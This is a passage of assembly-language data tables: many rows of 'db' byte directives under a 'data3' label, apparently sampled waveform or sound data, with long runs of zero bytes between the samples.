db 0xFF,0x00,0xFF,0xFF,0xFE,0x02,0x02,0x00,0x01,0x00,0x02,0x02,0x01,0xFE,0xFF,0xFF,0xFE,0xFF,0xFF,0xFF,0x01,0xFF,0x03,0x06,0x03,0x01,0xFD,0xFD,0xFB,0xFF,0x00,0x00
db 0xF5,0xF6,0xFB,0x01,0x00,0x06,0x0B,0x0B,0x0B,0x0D,0x0C,0x09,0x07,0x03,0x02,0x00,0x01,0x02,0x00,0xFE,0x00,0x04,0x01,0x00,0xFF,0xFC,0xF9,0xF8,0xF8,0xF5,0xF5,0xF6
db 0xE2,0xE8,0xF7,0xFF,0x0A,0x18,0x21,0x27,0x27,0x26,0x21,0x15,0x0C,0x05,0xFA,0xF4,0xF2,0xF0,0xF1,0xF4,0xF9,0xFF,0x00,0x02,0x05,0x01,0xFC,0xF5,0xEB,0xE4,0xDE,0xE2
db 0x14,0x17,0x12,0x04,0xFA,0xF5,0x04,0x17,0x26,0x2A,0x1F,0x10,0x00,0xF4,0xEF,0xF0,0xF1,0xEE,0xE6,0xCF,0xD3,0xEA,0x04,0x1C,0x22,0x1C,0x07,0xF3,0xE6,0xE7,0xF4,0x05
db 0x18,0x13,0x05,0xF9,0xF4,0xFB,0x14,0x22,0x27,0x1B,0x0D,0xFF,0xF9,0xFA,0xFE,0xF9,0xF7,0xEC,0xDF,0xC9,0xCD,0xEE,0x0C,0x25,0x23,0x16,0xFB,0xE9,0xE3,0xEE,0x01,0x13
db 0x11,0x15,0x10,0x0A,0x03,0x06,0x0C,0x15,0x1A,0x1B,0x13,0x08,0xFB,0xF3,0xEE,0xED,0xEB,0xE4,0xD9,0xD3,0xDF,0xF9,0x08,0x20,0x1E,0x15,0x01,0xF3,0xEA,0xF0,0xFA,0x08
db 0x15,0x1C,0x15,0x0F,0x06,0x05,0x09,0x11,0x17,0x19,0x12,0x06,0xF8,0xEF,0xEA,0xEA,0xEB,0xE3,0xDB,0xD1,0xE0,0xF9,0x11,0x1F,0x1D,0x12,0x00,0xF2,0xEB,0xF0,0xFB,0x0B
db 0x15,0x19,0x18,0x12,0x0B,0x09,0x09,0x0E,0x12,0x15,0x0F,0x03,0xF6,0xEE,0xE7,0xE7,0xE4,0xDF,0xD7,0xD7,0xED,0x00,0x15,0x1A,0x19,0x0D,0x00,0xF4,0xF0,0xF3,0xFD,0x09
db 0x12,0x1A,0x1C,0x17,0x10,0x09,0x06,0x08,0x0B,0x0B,0x08,0x02,0xFA,0xF0,0xEA,0xE2,0xDD,0xD9,0xD9,0xE6,0xF7,0x07,0x15,0x18,0x17,0x0C,0x02,0xF7,0xF3,0xF4,0xFD,0x07
db 0x0E,0x13,0x15,0x11,0x0C,0x08,0x05,0x05,0x04,0x03,0x01,0xFE,0xF9,0xF6,0xF1,0xEE,0xEB,0xEB,0xEC,0xF1,0xF7,0xFD,0x03,0x06,0x08,0x08,0x06,0x03,0x02,0x01,0x03,0x05
db 0x08,0x07,0x05,0x03,0x01,0x00,0xFF,0xFF,0xFE,0xFE,0xFE,0xFD,0xFD,0xFD,0xFC,0xFB,0xFA,0xF9,0xF9,0xF8,0xF8,0xF9,0xFA,0xFD,0xFF,0x02,0x04,0x06,0x08,0x0A,0x0A,0x0A
CODE
data3:
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0xFF,0xFF,0xFF,0x00,0x01,0x00,0x00,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x01,0x01,0x01,0x00,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0xFF
db 0xFE,0x00,0xFF,0xFD,0xFC,0x02,0x05,0x01,0xFE,0xFE,0x00,0x00,0xFD,0x00,0x04,0x02,0xFF,0xFD,0xFF,0x00,0x00,0x01,0x02,0x00,0xFE,0xFE,0xFF,0xFF,0x00,0x03,0x04,0x00
db 0x00,0xFF,0x00,0x00,0x01,0x03,0x02,0x01,0x02,0x01,0x02,0x01,0xFF,0x01,0x02,0x01,0xFF,0x00,0x03,0x02,0x01,0x00,0xFE,0xFE,0xFC,0xFE,0xFD,0xFE,0x01,0xFF,0x02,0x02
db 0xED,0xF5,0xFE,0x00,0x12,0x26,0x22,0x15,0x18,0x1B,0x1A,0x27,0x33,0x2E,0x22,0x1F,0x17,0x0C,0x07,0x01,0xF2,0xDF,0xD4,0xDC,0xCE,0xCD,0xD7,0xD5,0xDC,0xF4,0x07,0xFB
db 0xF6,0xE0,0xDE,0xEB,0x14,0x3D,0x3F,0x1E,0x04,0x00,0x0C,0x21,0x38,0x42,0x38,0x23,0x1B,0x1B,0x1E,0x13,0xF5,0xD9,0xD3,0xD1,0xC1,0xAF,0xA8,0x95,0xA3,0xFC,0x50,0x2B
db 0xD5,0xC1,0xE1,0x00,0x0D,0x3A,0x47,0x22,0xF5,0xF5,0x07,0x17,0x2B,0x47,0x49,0x29,0x0A,0x09,0x10,0x0F,0xF6,0xDF,0xDC,0xD8,0xBE,0x9F,0x96,0x93,0xC6,0x3E,0x7A,0x39
db 0xED,0xC6,0xDE,0x00,0x0E,0x16,0x28,0x31,0x1D,0xFE,0xF6,0x10,0x2C,0x3A,0x39,0x2D,0x18,0x09,0x07,0x0B,0xFF,0xE3,0xCE,0xCC,0xCA,0xB7,0x9F,0x8E,0xC7,0x33,0x72,0x45
db 0xD4,0xCA,0xF2,0x15,0x15,0x0C,0x19,0x2E,0x26,0x04,0xF0,0x07,0x2E,0x3F,0x32,0x1E,0x15,0x0F,0x07,0xFE,0xED,0xDE,0xD1,0xC9,0xBB,0xAD,0x9B,0xAD,0xFF,0x58,0x64,0x1E
db 0xD4,0xDC,0x05,0x1E,0x14,0x03,0x09,0x22,0x2F,0x1F,0x04,0xFE,0x17,0x35,0x37,0x1B,0xFF,0xFA,0x00,0xF8,0xDF,0xCA,0xC4,0xC6,0xC4,0xB2,0xAB,0xD7,0x27,0x5C,0x48,0x05
db 0xEA,0xE4,0xFA,0x10,0x13,0x0B,0x09,0x17,0x28,0x29,0x1B,0x0F,0x11,0x1F,0x25,0x1A,0x03,0xF2,0xEC,0xE9,0xDE,0xCD,0xBC,0xB5,0xB5,0xC2,0xE2,0x12,0x2D,0x49,0x3C,0x10
db 0xF9,0xF9,0x05,0x0C,0x0B,0x06,0x07,0x12,0x21,0x29,0x25,0x1E,0x1A,0x1B,0x1A,0x11,0x03,0xF4,0xE7,0xDF,0xD9,0xD1,0xC8,0xBC,0xB5,0xBD,0xDD,0x0C,0x32,0x3D,0x2B,0x0D
db 0x07,0x09,0x0D,0x0F,0x0D,0x0B,0x0B,0x0F,0x15,0x18,0x19,0x18,0x16,0x14,0x10,0x09,0xFE,0xEF,0xE6,0xE2,0xE0,0xDE,0xDA,0xD5,0xD1,0xD4,0xE1,0xF5,0x08,0x12,0x11,0x0B
db 0x02,0x03,0x02,0x04,0x02,0x01,0x02,0x03,0x02,0x03,0x04,0x02,0x00,0x00,0xFF,0xFE,0x00,0x00,0xFE,0xFD,0xFD,0xFE,0xFE,0xFF,0xFE,0xFC,0xFE,0xFF,0xFE,0xFF,0x00,0x00
db 0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0xFF,0x00,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0x00,0x00,0xFF,0x00,0xFF,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x01,0x02,0x02,0x01,0x01,0x00,0xFF,0xFF,0x00,0x00,0x00,0xFF,0x00,0x01,0xFF,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF
db 0xFF,0x00,0x01,0x00,0xFF,0xFF,0xFF,0x00,0x00,0x01,0x0D,0x0C,0x02,0x00,0xFF,0x01,0x01,0xFF,0xFC,0xFC,0xFE,0xFF,0x00,0xFF,0xFF,0xFD,0xFE,0xFF,0x00,0x00,0x01,0x00
db 0xFD,0x01,0x01,0x02,0x01,0xFF,0xFF,0xFF,0x01,0x01,0x04,0x04,0x01,0xFE,0xFD,0x00,0x01,0x00,0xFC,0xFC,0xFF,0x01,0x01,0x01,0x00,0xFE,0xFE,0xFF,0x02,0x02,0x01,0xFF
db 0xFF,0x00,0x01,0x00,0xFF,0xFF,0xFF,0xFF,0x00,0xFF,0x00,0x02,0x01,0x00,0xFF,0x00,0x00,0xFF,0xFD,0x00,0x00,0x00,0xFF,0x00,0x01,0x00,0x00,0x01,0x01,0x01,0x02,0x01
db 0x05,0x05,0x05,0x00,0xFF,0xFF,0xFD,0xFC,0xFC,0xFB,0xFC,0xFC,0xFB,0xFC,0xFB,0xFC,0xFD,0xFE,0xFF,0x00,0x02,0x02,0x02,0x02,0x03,0x03,0x05,0x05,0x06,0x06,0x06,0x06
db 0x17,0x13,0x0F,0x08,0x01,0xFB,0xF5,0xEE,0xE7,0xE0,0xDC,0xDA,0xDB,0xDF,0xE5,0xEC,0xF4,0xFB,0x01,0x06,0x0B,0x0F,0x12,0x14,0x14,0x15,0x16,0x18,0x1A,0x1C,0x1B,0x1A
db 0x16,0x12,0x0F,0x09,0x01,0xF7,0xEE,0xE8,0xE2,0xDF,0xD9,0xD5,0xD6,0xDD,0xE6,0xF0,0xF8,0x00,0x07,0x0D,0x12,0x13,0x13,0x12,0x11,0x10,0x0F,0x0F,0x11,0x15,0x18,0x19
db 0x17,0x14,0x11,0x0D,0x07,0xFF,0xF5,0xEC,0xE4,0xDD,0xD6,0xD0,0xCD,0xD6,0xE1,0xED,0xF7,0x00,0x08,0x10,0x17,0x1A,0x19,0x16,0x12,0x0F,0x0C,0x0B,0x0C,0x10,0x14,0x17
db 0x20,0x22,0x1E,0x14,0x0B,0x03,0xFC,0xF1,0xE6,0xDB,0xD4,0xCE,0xC7,0xC5,0xCE,0xE1,0xF8,0x0B,0x15,0x1B,0x1E,0x22,0x23,0x1E,0x13,0x07,0x01,0x02,0x07,0x0D,0x13,0x1A
db 0x24,0x2D,0x2F,0x26,0x17,0x0A,0x01,0xF9,0xED,0xDF,0xD4,0xCC,0xC7,0xC0,0xB9,0xD2,0xF0,0x0D,0x1F,0x23,0x1F,0x1E,0x1F,0x1C,0x10,0x01,0xF6,0xF7,0xFF,0x09,0x11,0x1A
db 0x23,0x2B,0x2E,0x2B,0x21,0x15,0x0D,0x07,0xFD,0xE9,0xCF,0xBE,0xB8,0xAF,0xA5,0xA7,0xD9,0x28,0x54,0x40,0x1B,0x0F,0x0E,0x08,0xF9,0xED,0xF4,0x08,0x16,0x17,0x14,0x18
db 0xF8,0x0E,0x3B,0x54,0x40,0x1C,0x0D,0x0B,0x02,0xEE,0xD3,0xC2,0xC0,0xBB,0xAC,0x9E,0xB3,0x0E,0x5C,0x52,0x0E,0xE6,0xE0,0xDC,0xE4,0x0E,0x3C,0x3F,0x1D,0x03,0xFD,0xFB
db 0xF8,0x1F,0x49,0x51,0x3B,0x22,0x0D,0x01,0xFB,0x01,0xEA,0xC8,0xBF,0xC1,0xAC,0x97,0x99,0x06,0x68,0x5B,0x09,0xE4,0xD9,0xCF,0xE4,0x23,0x4C,0x38,0x13,0x01,0xF8,0xEB
db 0x12,0x35,0x49,0x46,0x34,0x17,0x04,0x02,0x06,0xFB,0xD4,0xC5,0xCC,0xB8,0x9E,0x89,0xB5,0x39,0x75,0x3F,0xF5,0xDA,0xC9,0xC7,0x04,0x4B,0x50,0x22,0x06,0xF8,0xEB,0xEC
db 0x2E,0x43,0x4B,0x3B,0x22,0x09,0x09,0x0A,0x09,0xED,0xCC,0xC5,0xC6,0xA7,0x97,0x8C,0xE8,0x61,0x67,0x17,0xE5,0xCD,0xB7,0xDB,0x31,0x5D,0x41,0x15,0x02,0xE5,0xE0,0xFE
db 0x22,0x3D,0x50,0x45,0x28,0x0B,0x07,0x04,0x05,0xF7,0xD6,0xC5,0xCA,0xB0,0x95,0x81,0xCB,0x57,0x6E,0x28,0xF1,0xD6,0xAF,0xCA,0x28,0x5C,0x44,0x22,0x0A,0xE8,0xDE,0xF9
db 0x2A,0x41,0x51,0x3E,0x1D,0x02,0x03,0x01,0x04,0xEF,0xD3,0xC0,0xBD,0xAB,0x95,0x8B,0xFC,0x64,0x59,0x10,0xF3,0xCF,0xB4,0xE3,0x38,0x4D,0x35,0x22,0x0E,0xE4,0xE1,0x02
db 0x37,0x49,0x44,0x2D,0x14,0x01,0xFC,0xFF,0xF2,0xDD,0xD0,0xC7,0xB1,0x98,0x91,0xCC,0x17,0x3D,0x33,0x1E,0xFB,0xBE,0xD7,0x1D,0x3D,0x38,0x2B,0x1E,0xFD,0xE5,0xF3,0x17
db 0x27,0x2C,0x27,0x1B,0x0D,0x06,0x05,0xFC,0xF0,0xE7,0xDB,0xC8,0xB7,0xAB,0xB2,0xEA,0x21,0x28,0x18,0x0E,0xFE,0xEE,0xF4,0x09,0x15,0x16,0x21,0x1D,0x0E,0x00,0x04,0x17
db 0x0B,0x0C,0x0A,0x07,0x05,0x02,0xFD,0xF9,0xF4,0xEE,0xE9,0xE8,0xEB,0xEC,0xED,0xF1,0xF5,0xFD,0x03,0x08,0x0A,0x0B,0x0D,0x0E,0x0E,0x0E,0x0F,0x11,0x10,0x0D,0x0C,0x0B
db 0x09,0x08,0x08,0x02,0x00,0xFD,0xF9,0xF7,0xF4,0xF3,0xF4,0xF3,0xF2,0xF3,0xF6,0xF7,0xF8,0xF9,0xFB,0xFD,0x00,0x02,0x03,0x05,0x07,0x08,0x09,0x09,0x09,0x09,0x09,0x09
db 0x09,0x09,0x06,0x07,0x06,0x03,0x01,0xFD,0xF8,0xF4,0xEF,0xEA,0xE4,0xE1,0xE6,0xF2,0xFA,0xFD,0x03,0x09,0x0B,0x0B,0x0A,0x09,0x08,0x08,0x09,0x09,0x0A,0x09,0x08,0x09
db 0x0A,0x0B,0x0C,0x09,0x07,0x06,0x03,0xFD,0xF6,0xF1,0xEB,0xE3,0xDA,0xD4,0xDC,0xF2,0x03,0x07,0x07,0x0B,0x0E,0x0A,0x05,0x05,0x07,0x04,0x04,0x08,0x0D,0x0E,0x0C,0x0B
db 0x17,0x18,0x16,0x15,0x10,0x05,0xFA,0xF4,0xEF,0xE5,0xD8,0xCA,0xB9,0xB2,0xBC,0xEC,0x23,0x2C,0x0F,0xFD,0x03,0x02,0xF3,0xF2,0x08,0x1A,0x17,0x0C,0x0C,0x14,0x17,0x16
db 0x22,0x18,0x14,0x19,0x18,0x0A,0xF5,0xE9,0xE8,0xE9,0xE2,0xD1,0xC0,0xB0,0xB8,0xF2,0x38,0x4F,0x28,0xF4,0xE6,0xF5,0xFB,0xF1,0xF1,0x0D,0x28,0x26,0x10,0x04,0x0F,0x20
db 0x1F,0x17,0x15,0x19,0x15,0x02,0xED,0xE6,0xEA,0xED,0xE1,0xCC,0xB5,0xAA,0xCB,0x12,0x49,0x43,0x12,0xEC,0xEC,0xF8,0xF6,0xEE,0xF9,0x18,0x2C,0x21,0x0B,0x05,0x13,0x20
db 0x1B,0x14,0x15,0x1C,0x18,0x03,0xED,0xE4,0xE8,0xEC,0xE3,0xD0,0xBC,0xB1,0xC8,0x02,0x39,0x40,0x1C,0xF6,0xEF,0xF9,0xF9,0xED,0xF2,0x10,0x2B,0x2A,0x15,0x09,0x10,0x1B
db 0x11,0x0D,0x13,0x1C,0x19,0x04,0xEC,0xE1,0xE4,0xE3,0xD8,0xC8,0xBB,0xBB,0xDA,0x0F,0x36,0x34,0x15,0xFC,0xF7,0xFB,0xF6,0xEE,0xF6,0x0F,0x27,0x2A,0x1E,0x14,0x14,0x16
db 0x10,0x0B,0x0D,0x14,0x14,0x08,0xF7,0xEB,0xE3,0xDA,0xCF,0xC6,0xC6,0xD0,0xE7,0x06,0x1D,0x21,0x14,0x08,0x00,0xFF,0xFC,0xF7,0xF9,0x08,0x1A,0x23,0x20,0x1A,0x17,0x15
db 0x0A,0x08,0x0B,0x0A,0x06,0xFE,0xF5,0xED,0xE6,0xDE,0xD9,0xDA,0xDF,0xE7,0xEF,0xF8,0x02,0x08,0x08,0x06,0x05,0x08,0x0B,0x0D,0x0E,0x11,0x15,0x17,0x15,0x12,0x10,0x0D
db 0x09,0x06,0x03,0x02,0x01,0xFE,0xF8,0xF4,0xF3,0xF2,0xF1,0xF0,0xF1,0xF4,0xF7,0xF8,0xF8,0xFA,0xFC,0xFE,0x01,0x04,0x09,0x0D,0x0F,0x0F,0x10,0x11,0x11,0x0F,0x0D,0x0B
db 0x01,0x00,0xFF,0xFF,0xFF,0xFF,0xFE,0xFF,0xFE,0xFB,0xFA,0xFA,0xF9,0xF9,0xFB,0xFD,0xFD,0xFE,0xFF,0xFF,0x00,0x01,0x02,0x03,0x03,0x03,0x03,0x03,0x03,0x03,0x02,0x01
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x05,0x06,0x06,0x07,0x07,0x06,0x05,0x04,0x02,0x01,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFE,0xFD,0xFD,0xFB,0xFA,0xFA,0xFA,0xFC,0xFD,0xFF,0x01,0x02
db 0x0C,0x0F,0x11,0x13,0x13,0x12,0x0F,0x0C,0x08,0x06,0x05,0x04,0x03,0x02,0x02,0x01,0x00,0xFF,0xFC,0xF8,0xF4,0xF0,0xEC,0xEE,0xED,0xED,0xF0,0xF5,0xFB,0x01,0x06,0x09
db 0x17,0x1E,0x25,0x28,0x25,0x1E,0x14,0x0D,0x0A,0x08,0x07,0x06,0x05,0x06,0x08,0x09,0x07,0x01,0xF9,0xF2,0xEB,0xE4,0xDE,0xD6,0xD1,0xD1,0xD8,0xE6,0xF5,0x02,0x0B,0x11
db 0x17,0x21,0x28,0x28,0x25,0x20,0x17,0x15,0x13,0x0E,0x0A,0x07,0x08,0x09,0x08,0x03,0xFC,0xF5,0xF0,0xEC,0xE7,0xE0,0xD7,0xD0,0xCE,0xD4,0xDE,0xEA,0xF5,0xFD,0x04,0x0D
db 0x21,0x26,0x28,0x26,0x20,0x18,0x10,0x0A,0x06,0x05,0x07,0x0A,0x0E,0x12,0x14,0x13,0x0F,0x07,0xFD,0xF1,0xE6,0xD6,0xCE,0xCA,0xCB,0xD1,0xDC,0xE9,0xF7,0x04,0x0F,0x19
db 0x2A,0x30,0x32,0x25,0x1A,0x0F,0x07,0x03,0x03,0x05,0x09,0x0F,0x17,0x1E,0x21,0x1E,0x15,0x08,0xF8,0xE8,0xD9,0xCB,0xBF,0xB5,0xB2,0xB9,0xCB,0xE2,0xFA,0x0C,0x19,0x21
db 0x27,0x23,0x22,0x21,0x19,0x0B,0xFE,0xFB,0x02,0x0D,0x13,0x17,0x1E,0x27,0x30,0x31,0x27,0x17,0x07,0xF5,0xE2,0xD0,0xC0,0xB2,0xA5,0xA1,0xAD,0xCB,0xF3,0x17,0x2B,0x2D
db 0x2D,0x08,0xF7,0xF8,0xF7,0xF2,0xF2,0x02,0x1E,0x2E,0x31,0x27,0x1F,0x23,0x2B,0x29,0x1D,0x12,0x0F,0x0B,0xF9,0xDE,0xCA,0xC1,0xB8,0xA9,0x96,0x99,0xCA,0x16,0x4E,0x52
db 0x3F,0x12,0xF5,0xE9,0xE6,0xE6,0xF2,0x0D,0x2A,0x38,0x33,0x26,0x1B,0x16,0x17,0x1C,0x20,0x24,0x26,0x20,0x10,0xF2,0xD6,0xC6,0xBE,0xAD,0x9A,0x8E,0xAF,0xF8,0x42,0x59
db 0x4B,0x19,0xED,0xDE,0xDB,0xE4,0xF6,0x1A,0x36,0x3F,0x2D,0x19,0x0C,0x0A,0x0D,0x19,0x28,0x31,0x31,0x26,0x16,0xFE,0xDD,0xC7,0xBB,0xB1,0xA1,0x9A,0xA0,0xD6,0x25,0x5A
db 0x51,0x24,0xF3,0xDC,0xDD,0xE5,0xF9,0x1B,0x38,0x39,0x23,0x0F,0x0A,0x0B,0x0B,0x15,0x2E,0x40,0x38,0x24,0x13,0x0A,0xF3,0xD2,0xBF,0xBE,0xBB,0xAD,0xA0,0xB1,0xF9,0x41
db 0x46,0x19,0xF0,0xE2,0xE0,0xEC,0x09,0x2D,0x36,0x2A,0x15,0x0A,0x08,0x0A,0x14,0x2A,0x3C,0x39,0x27,0x1A,0x11,0x05,0xE9,0xCF,0xC9,0xCA,0xBA,0xA6,0xA0,0xB6,0xFD,0x3F
db 0x2C,0x18,0xFA,0xE5,0xE8,0x00,0x1B,0x26,0x22,0x14,0x06,0x00,0x0A,0x1E,0x30,0x37,0x2F,0x1E,0x11,0x1D,0x13,0x07,0xF9,0xEA,0xDC,0xCE,0xB8,0xA9,0xA6,0xC4,0xFB,0x24
db 0x43,0x15,0xED,0xD9,0xDC,0xFF,0x28,0x34,0x21,0x08,0xF9,0xF7,0x0B,0x2B,0x3D,0x36,0x23,0x14,0x0E,0x10,0x12,0x09,0xF6,0xE5,0xDD,0xD5,0xC2,0xA3,0x8F,0xAF,0x04,0x47
db 0x5D,0x16,0xE4,0xD2,0xCF,0xF1,0x2E,0x44,0x24,0xFF,0xF1,0xEF,0x04,0x2E,0x45,0x36,0x1E,0x0F,0x08,0x0A,0x12,0x13,0x04,0xEF,0xDE,0xD1,0xC3,0xB4,0x9D,0x95,0xE4,0x53
db 0x51,0x26,0xEB,0xD7,0xDD,0xF4,0x1B,0x36,0x27,0x06,0xF5,0xF6,0x03,0x2B,0x39,0x29,0x14,0x0A,0x09,0x12,0x1D,0x17,0x05,0xF4,0xEA,0xDD,0xCC,0xBC,0xAE,0xA5,0xCA,0x24
db 0x30,0x3A,0x0B,0xD9,0xE3,0xF6,0x1E,0x39,0x22,0xFD,0xF1,0xF8,0x09,0x22,0x31,0x26,0x12,0x0A,0x0D,0x15,0x1B,0x1B,0x11,0x00,0xEF,0xE0,0xD6,0xCB,0xBB,0xAD,0xB6,0xEE
db 0x27,0x52,0x1C,0xE0,0xDA,0xE8,0xFE,0x27,0x38,0x16,0xF0,0xEE,0x00,0x14,0x2D,0x35,0x1A,0x06,0x0A,0x15,0x1B,0x1C,0x13,0x04,0xF4,0xE8,0xDB,0xD3,0xC3,0xAF,0xAA,0xCC
db 0x1E,0x54,0x27,0xE6,0xDB,0xEC,0xFA,0x15,0x33,0x21,0xF8,0xEF,0x02,0x15,0x28,0x2D,0x1A,0x0A,0x0F,0x18,0x18,0x13,0x0F,0x05,0xF2,0xE6,0xE1,0xD6,0xC4,0xB4,0xAE,0xC8
db 0x10,0x4D,0x2F,0xF0,0xDD,0xEC,0xF9,0x0A,0x25,0x27,0x06,0xF1,0xFF,0x18,0x23,0x23,0x1F,0x14,0x0D,0x12,0x17,0x12,0x09,0x05,0xFD,0xE7,0xDA,0xD6,0xCB,0xB8,0xAF,0xC4
db 0x16,0x49,0x2D,0xF6,0xE5,0xEF,0xF7,0x05,0x1F,0x28,0x0F,0xF6,0xFE,0x16,0x20,0x1C,0x1A,0x19,0x12,0x0D,0x11,0x11,0x06,0xFD,0xF6,0xEB,0xDF,0xD7,0xCD,0xBB,0xB1,0xCC
db 0x03,0x45,0x3E,0x05,0xE6,0xEE,0xF7,0xFA,0x0D,0x24,0x1F,0x04,0xFE,0x14,0x1F,0x13,0x11,0x1C,0x1E,0x13,0x0C,0x0D,0x06,0xFA,0xF6,0xF0,0xE4,0xD6,0xCE,0xC1,0xB3,0xC0
